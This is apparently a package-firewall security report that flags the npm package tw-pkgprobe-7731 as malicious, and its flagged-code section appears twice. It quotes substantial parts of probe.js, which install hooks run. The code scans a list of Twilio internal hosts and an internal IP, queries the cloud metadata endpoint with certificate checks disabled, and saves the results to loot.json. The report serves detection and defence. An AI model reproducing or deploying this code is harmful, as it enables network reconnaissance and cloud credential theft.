tw-pkgprobe-7731@1.1.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

tw-pkgprobe-7731@1.1.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

probe.jsView file

2// Serverless packager sandbox to Twilio-owned hosts. No-op anywhere else. L3: const fs=require('fs'), dns=require('dns'), https=require('https'), http=require('http'), net=require('net'); L4: const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com", ... L8: "service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"]; L9: const out={ts:Date.now(),cwd:process.cwd(),results:{}}; L10: function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let done=false; ... L13: function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{ L14: let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('e

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

probe.jsView on unpkg · L2

4const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com", "one-console-internal.ashburn.us1.twilio.com","admin-api.ie1.twilio.com","support-api.us1.twilio.com", "eventgw.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","issues.corp.twilio.com", "code.hq.twilio.com","litellm.ai-services.corp.twilio.com","snyk-sendgrid.corp.twilio.com","corpsec.stage.twilio.com", "service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"];

High

Suspicious Lifecycle Evidence

Lifecycle code scans numerous Twilio internal hosts and an internal IP.

probe.jsView on unpkg · L4

17if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return; for(const h of HOSTS){ const rec={}; try{ rec.dns=(await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR '+e.code:a)))); }catch(e){rec.dns='ERR';} if(typeof rec.dns==='string' && rec.dns.startsWith('ERR')){ out.results[h]=rec; continue; } rec.tcp443=await tcp(rec.dns,443,5000); if(rec.tcp443==='open') rec.https=await get('https://'+h+'/',6000); out.results[h]=rec; } out.direct_10_208_61_13={tcp443:await tcp('10.208.61.13',443,5000),tcp80:await tcp('10.208.61.13',80,5000)};

High

Ai Review Evidence

When cwd matches a /tmp/AC sandbox path, it requests cloud metadata and writes results to loot.json.

probe.jsView on unpkg · L17

27out.imds=await get('https://169.254.169.254/latest/meta-data/',3000); try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}

High

Ai Review Evidence

HTTPS requests disable certificate validation.

probe.jsView on unpkg · L27

13function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{ let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('end',()=>r({status:res.statusCode,server:res.headers.server||'',body:b.slice(0,300)}));}); req.on('timeout',()=>{req.destroy();r({err:'timeout'})});req.on('error',e=>r({err:e.code||''+e}));}catch(e){r({err:''+e})}});}

High

Ai Review Evidence

HTTPS requests disable certificate validation.

probe.jsView on unpkg · L13

Source & flagged code

8 flagged

package.jsonView file

•scripts.preinstall = node ./probe.js || true

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node ./probe.js || true

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

probe.jsView file

2// Serverless packager sandbox to Twilio-owned hosts. No-op anywhere else. L3: const fs=require('fs'), dns=require('dns'), https=require('https'), http=require('http'), net=require('net'); L4: const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com", ... L8: "service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"]; L9: const out={ts:Date.now(),cwd:process.cwd(),results:{}}; L10: function tcp(host,port,ms){return new Promise(r=>{const s=net.connect({host,port,timeout:ms});let done=false; ... L13: function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{ L14: let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('e

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

probe.jsView on unpkg · L2

4const HOSTS=["argo-cd.prod.email.twilioinfra.com","help-center.aws-otk-prod-general-use1-001.otk.twilioinfra.com", "one-console-internal.ashburn.us1.twilio.com","admin-api.ie1.twilio.com","support-api.us1.twilio.com", "eventgw.us1.twilio.com","kafka-ui.au1.twilio.com","kafka-self-service.au1.twilio.com","issues.corp.twilio.com", "code.hq.twilio.com","litellm.ai-services.corp.twilio.com","snyk-sendgrid.corp.twilio.com","corpsec.stage.twilio.com", "service-catalog.in1.twilio.com","socer.twilio.com","knowledgenest.twilio.com","one-admin.twilio.com"];

High

Suspicious Lifecycle Evidence

Lifecycle code scans numerous Twilio internal hosts and an internal IP.

probe.jsView on unpkg · L4

17if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(process.cwd())) return; for(const h of HOSTS){ const rec={}; try{ rec.dns=(await new Promise(r=>dns.lookup(h,(e,a)=>r(e?'ERR '+e.code:a)))); }catch(e){rec.dns='ERR';} if(typeof rec.dns==='string' && rec.dns.startsWith('ERR')){ out.results[h]=rec; continue; } rec.tcp443=await tcp(rec.dns,443,5000); if(rec.tcp443==='open') rec.https=await get('https://'+h+'/',6000); out.results[h]=rec; } out.direct_10_208_61_13={tcp443:await tcp('10.208.61.13',443,5000),tcp80:await tcp('10.208.61.13',80,5000)};

High

Ai Review Evidence

When cwd matches a /tmp/AC sandbox path, it requests cloud metadata and writes results to loot.json.

probe.jsView on unpkg · L17

27out.imds=await get('https://169.254.169.254/latest/meta-data/',3000); try{ fs.writeFileSync(__dirname+'/loot.json',JSON.stringify(out)); }catch(e){}

High

Ai Review Evidence

HTTPS requests disable certificate validation.

probe.jsView on unpkg · L27

13function get(url,ms){return new Promise(r=>{try{const req=https.get(url,{timeout:ms,rejectUnauthorized:false},res=>{ let b='';res.on('data',d=>{if(b.length<400)b+=d.toString()});res.on('end',()=>r({status:res.statusCode,server:res.headers.server||'',body:b.slice(0,300)}));}); req.on('timeout',()=>{req.destroy();r({err:'timeout'})});req.on('error',e=>r({err:e.code||''+e}));}catch(e){r({err:''+e})}});}

High

Ai Review Evidence

HTTPS requests disable certificate validation.

probe.jsView on unpkg · L13